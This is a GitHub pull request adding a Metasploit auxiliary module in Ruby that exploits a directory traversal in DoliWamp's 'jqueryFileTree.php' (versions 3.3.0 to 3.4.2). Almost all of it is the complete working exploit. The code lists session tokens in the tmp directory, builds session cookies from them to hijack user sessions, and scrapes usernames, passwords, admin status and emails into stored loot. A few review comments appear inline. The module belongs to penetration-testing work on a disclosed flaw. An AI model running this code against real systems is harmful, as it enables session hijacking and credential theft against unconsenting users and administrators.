Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials module #2940

Merged
merged 1 commit into from
Feb 10, 2014
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
202 changes: 202 additions & 0 deletions modules/auxiliary/gather/doliwamp_traversal_creds.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,202 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(
info,
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",
'Description' => %q{
This module will extract user credentials from DoliWamp - a WAMP
packaged installer distribution for Dolibarr ERP on Windows - versions
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session
tokens in filenames in the 'tmp' directory. A directory traversal
vulnerability in 'jqueryFileTree.php' allows unauthenticated users
to retrieve session tokens by listing the contents of this directory.
Note: All tokens expire after 30 minutes of inactivity by default.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
],
'DisclosureDate' => 'Jan 12 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])
], self.class)
end

#
# Find session tokens
#
def get_session_tokens
tokens = nil
print_status("#{peer} - Finding session tokens...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),
'cookie' => @cookie,
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
})
if !res
print_error("#{peer} - Connection failed")
elsif res.code == 404
print_error("#{peer} - Could not find 'jqueryFileTree.php'")
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
tokens = res.body.scan(/>sess_([a-z0-9]+)</)
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
print_good("#{peer} - Found #{num_tokens} session tokens")
else
print_error("#{peer} - Could not find any session tokens")
end
return tokens
end

#
# Get user's credentials
#
def get_user_info(user_id)
vprint_status("#{peer} - Retrieving user's credentials")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie,
'vars_get' => Hash[{
'action' => 'edit',
'id' => "#{user_id}"
}.to_a.shuffle]
})
if !res
print_error("#{peer} - Connection failed")
elsif res.body =~ /User card/
record = [
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first,
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first,
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
]
unless record.empty?
print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})")
return record
end
else
print_warning("#{peer} - Could not retrieve user credentials")
end
end

#
# Verify if session cookie is valid and return user's ID
#
def get_user_id
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie
})
if !res
print_error("#{peer} - Connection failed")
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
user_id = "#{$1}"
vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'")
return user_id
else
# print_debug("#{peer} - Could not hijack session. Session is invalid.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did you mean to leave this commented out? Looks like useful info for debugging purposes.

end
end

#
# Construct cookie using token
#
def create_cookie(token)
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
})
if !res
print_error("#{peer} - Connection failed")
elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/
return "DOLSESSID_#{$1}=#{token}"
else
print_warning("#{peer} - Could not create session cookie")
end
end

#
# Show progress percentage
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
#
def progress(current, total)
done = (current.to_f / total.to_f) * 100
percent = "%3.2f%%" % done.to_f
vprint_status("#{peer} - Trying to hijack a session - " +
"%7s done (%d/%d tokens)" % [percent, current, total])
end

#
# Check for session tokens in 'tmp'
#
def check
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You only should be using Unknown when you've failed to collected some info during the process due to a timeout or something. Your get_session_tokens method doesn't really turn that type of info, so all you can do is flag it Safe here.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

end

def run
return unless tokens = get_session_tokens
credentials = []
print_status("#{peer} - Trying to hijack a session...")
tokens.flatten.each_with_index do |token, index|
if @cookie = create_cookie(token) and user_id = get_user_id
credentials << get_user_info(user_id)
end
progress(index + 1, tokens.size)
end

if credentials.empty?
print_warning("#{peer} - No credentials collected.")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Dolibarr User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
)
credentials.each do |record|
report_auth_info({
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => record[0],
:pass => record[1],
:source_type => 'vuln'
})
cred_table << [record[0], record[1], record[2], record[3]]
end
print_line
print_line("#{cred_table}")
loot_name = 'dolibarr.traversal.user.credentials'
loot_type = 'text/csv'
loot_filename = 'dolibarr_user_creds.csv'
loot_desc = 'Dolibarr User Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc)
print_status("Credentials saved in: #{p}")
end
end